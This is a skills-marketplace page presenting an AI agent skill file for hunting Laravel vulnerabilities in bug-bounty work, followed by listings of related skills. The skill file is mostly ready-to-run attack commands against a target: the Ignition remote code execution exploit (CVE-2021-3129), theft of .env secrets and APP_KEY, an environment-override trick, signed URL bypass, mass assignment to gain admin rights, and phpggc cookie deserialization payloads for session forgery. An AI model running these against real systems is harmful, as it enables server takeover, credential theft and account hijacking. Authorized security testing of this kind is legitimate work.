Skip to content
cccskills
FreePublished on GitHub

hunt-laravel

Assess Laravel applications for exposed secrets, accessible dashboards, and authentication or permission flaws. The skill guides checks of debug settings, signed URLs, cookies, and model updates, with validation criteria for understanding the impact of findings.

OriginalShow the original description

Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure. Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.

Run score Not tested

See how to install

Good for

  • Reviewing Laravel debug settings and exposed configuration files
  • Checking access controls on Telescope and Horizon dashboards
  • Testing signed URLs and unintended profile field updates
  • Assessing the impact of leaked APP_KEY values

Files included (1)

  • SKILL.md7.9 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

HUNT-LARAVEL — Laravel Specific Vulnerabilities

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

  • Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
  • Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
  • Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
  • Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
  • .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

Phase 1 — Fingerprint Laravel

# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

Phase 3 — Laravel Telescope & Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

Phase 4 — .env File & APP_KEY Exposure

# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

Phase 4b — Environment override via query args (CVE-2024-52301)

When register_argc_argv=On (php.ini), Laravel parses the query-string as CLI args, so ?--env= overrides APP_ENV over HTTP -> flip the app into local/testing config (debug on, seeded creds, weaker guards).

curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

Phase 5 — Signed URL Manipulation

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"

Phase 6 — Mass Assignment via Eloquent

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'

# Registration
curl -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'

Phase 7 — Laravel Cookie Deserialization

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

Chain Table

Laravel findingChain toImpact
Debug mode ONCVE-2021-3129 Ignition RCECritical RCE
Telescope accessibleRead API keys, DB queries, env varsHigh - credential theft
Horizon accessibleRead failed job payloadsHigh - PII/token exfil
.env exposed with APP_KEYForge session cookie → ATOCritical ATO
Signed URL bypassUnauthorized actions (unsubscribe any user, etc.)Medium-High
Mass assignmentSet is_admin=true → privilege escalationCritical

Validation

✅ Ignition RCE: id command output returned in response ✅ Telescope: API responses contain DB queries with credentials or user tokens ✅ APP_KEY: Forged session cookie accepted, returns another user's profile ✅ Mass assignment: is_admin: true accepted, account now has admin privileges

Severity:

  • Ignition RCE: Critical
  • Telescope/Horizon with sensitive data: High
  • .env with APP_KEY: Critical
  • Mass assignment to admin: Critical

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.

  • Inventory Android apps included in a security assessment
  • Check APKs for embedded credentials and internal API addresses
  • Review components that other apps can invoke
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

bb-local-toolkit

FreeSummary

Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.

  • Locate installed security tools and wordlists
  • Plan reconnaissance within a program's scope
  • Investigate related weaknesses and their combined impact
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

bb-methodology

FreeSummary

Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.

  • Setting objectives at the start of an investigation
  • Choosing the next step when testing stalls
  • Replanning after switching targets
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

bug-bounty

FreeSummary

Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.

  • Planning research for a new bug bounty target
  • Reviewing source code for security weaknesses
  • Testing chatbot and AI feature security
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.

  • Choose a suitable Bugcrowd vulnerability category
  • Explain a severity request using demonstrated impact
  • Respond to out-of-scope decisions
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

cloud-iam-deep

FreeSummary

Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.

  • Assess permissions granted by discovered cloud credentials
  • Review role trust and access across cloud accounts
  • Check permissions assigned to anonymous Cognito identities
elementalsouls/Claude-BugHunter5.3KUpdated Oct 22, 2026

See all skills by elementalsouls

Report a problem with this skill